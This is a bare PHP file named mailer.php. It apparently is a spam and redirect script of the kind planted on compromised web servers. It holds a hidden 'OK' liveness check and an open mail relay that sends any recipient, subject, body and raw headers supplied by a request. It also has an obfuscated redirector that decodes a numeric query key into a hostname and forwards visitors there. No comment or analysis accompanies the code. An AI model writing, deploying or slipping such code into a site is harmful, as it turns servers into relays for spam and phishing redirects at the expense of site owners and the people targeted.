mailer.php

<?php
if ($_GET ['ch']) {
    echo "OK";
    exit ();
}

if($_POST['to'])
{
    $to = $_POST ['to'];
    $subject = stripslashes ( $_POST ['subj'] );
    $message = stripslashes ( $_POST ['mes'] );
    $headers = stripslashes ( $_POST ['headers'] );

    if (mail ( $to, $subject, $message, $headers )) {
        echo "Message sent successfully";
    } else {
        echo "An error occured";
    }
}

if (! $_POST['to'] && ! $_GET ['ch'] && count($_GET) > 0) {
    $arr = array (
        1 => 'a',
            2 => 'b',
            3 => 'c',
            4 => 'd',
            5 => 'e',
            6 => 'f',
            7 => 'g',
            8 => 'h',
            9 => 'i',
            10 => 'j',
            11 => 'k',
            12 => 'l',
            13 => 'm',
            14 => 'n',
            15 => 'o',
            16 => 'p',
            17 => 'q',
            18 => 'r',
            19 => 's',
            20 => 't',
            21 => 'u',
            22 => 'v',
            23 => 'w',
            24 => 'x',
            25 => 'y',
            26 => 'z',
            27 => '.',
            28 => '1',
            29 => '2',
            30 => '3',
            31 => '4',
            32 => '5',
            33 => '6',
            34 => '7',
            35 => '8',
            36 => '9',
            37 => '0'
    );

    $var = key ( $_GET );

    $var_arr = explode ( "-", $var );

    foreach ( $var_arr as $value ) {
        preg_match_all ( "~\d+~", $value, $matches );

        $value = implode ( "", $matches [0] );

        if ($value > sizeof ( $arr )) {
            for($i = $value; $i > sizeof ( $arr ); $i = $i - sizeof ( $arr )) {
                $value = $i;
            }

            $value -= sizeof ( $arr );
        }

        $string .= $arr [$value];
    }

    $link = $string . $_GET [$var];

    header ( "Location: http://{$link}" );
}